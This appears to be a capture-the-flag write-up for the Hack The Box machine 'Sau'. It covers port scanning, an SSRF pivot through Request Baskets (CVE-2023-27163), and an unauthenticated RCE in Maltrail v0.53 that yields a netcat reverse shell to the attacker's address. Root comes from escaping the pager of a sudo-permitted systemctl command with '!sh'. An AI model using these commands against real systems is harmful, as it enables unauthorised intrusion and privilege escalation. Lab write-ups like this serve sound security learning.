HTB — Sau

1. Reconnaissance

Full port scan

bash

nmap -p- --min-rate 5000 10.129.229.26

Result:

• 22/tcp — open — SSH
• 80/tcp — filtered — HTTP
• 8338/tcp — filtered — unknown
• 55555/tcp — open — unknown

Service/version scan

bash

nmap -A -p 22,80,8338,55555 10.129.229.26

Result:

Get Cryx’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

PortServiceVersion22SSHOpenSSH 8.2p1 Ubuntu 4ubuntu0.780HTTPfiltered8338unknownfiltered55555HTTPGolang net/http server → “Request Baskets” web app

• 80 and 8338 are filtered from outside — flagged as likely only reachable internally (localhost on the box itself), relevant later for pivoting.

2. Initial Access — Request Baskets (CVE-2023–27163)

App identification

• Browsed to http://10.129.229.26:55555
• Found: Powered by request-baskets | Version: 1.2.1
• Created a test basket to confirm app behavior:
• Basket: Rameesh → token zsKcdmFHyQ2BBc42SR9SyKmVJB7NYu3ShwRQjblDBeVR

Vulnerability

• Version 1.2.1 → CVE-2023–27163 (Request Baskets SSRF — a basket can be configured to forward/proxy requests to an arbitrary internal URL, including internal-only services)

Reference exploit: https://github.com/entr0pie/CVE-2023-27163/blob/main/CVE-2023-27163.sh

Exploitation — SSRF pivot to internal port 80

bash

./CVE-2023-27163.sh http://10.129.229.26:55555 http://127.0.0.1:80

• Script created a new basket that proxies to the box’s own internal port 80
• Resulting accessible path: http://10.129.229.26:55555/ypeoic

Discovery via SSRF

• Visiting that basket path revealed an internal web app: Maltrail (v0.53)
• This confirms port 80/filtered from the nmap scan was actually Maltrail, bound to localhost and only reachable through the SSRF proxy.

3. Exploitation — Maltrail v0.53 RCE

Reference exploit: https://github.com/spookier/Maltrail-v0.53-Exploit

Steps

1. Start listener:

bash

nc -nvlp 1337

1. Run exploit, pointing it at the SSRF-proxied Maltrail basket path:

bash

python3 exploit.py 10.10.15.247 1337 http://10.129.229.26:55555/lezhry

✅ Got a shell + user flag

4. Privilege Escalation

Sudo rights check

bash

sudo -l

Result:

(root) NOPASSWD: /usr/bin/systemctl status trail.service

Exploiting systemctl status → pager escape

bash

sudo /usr/bin/systemctl status trail.service

• systemctl status pipes output through less (a pager) when run interactively
• From inside the pager, typed:

!sh

• This spawns a shell as root, since the pager inherits the privileges of the process that launched it (root, via sudo)

✅ Root shell obtained → root flag captured

5. Flags

Key Takeaways

• A filtered/internal-only port spotted in the initial nmap scan (port 80 here) is a strong hint to look for an SSRF vector later — it often turns out to be an internal service reachable only through the vulnerable app itself.
• CVE-2023–27163 (Request Baskets SSRF) is a clean way to proxy arbitrary internal requests through a basket’s forwarding config — useful pattern for similar “basket/webhook relay” style apps.
• Maltrail v0.53 has a known unauthenticated RCE — worth a go whenever you fingerprint it, even from behind an SSRF pivot.
• systemctl status (and other systemd commands) invoking a pager is a classic GTFOBins-style privesc: any sudo rule allowing a pager-backed command can usually be escaped with !sh or !bash from inside less.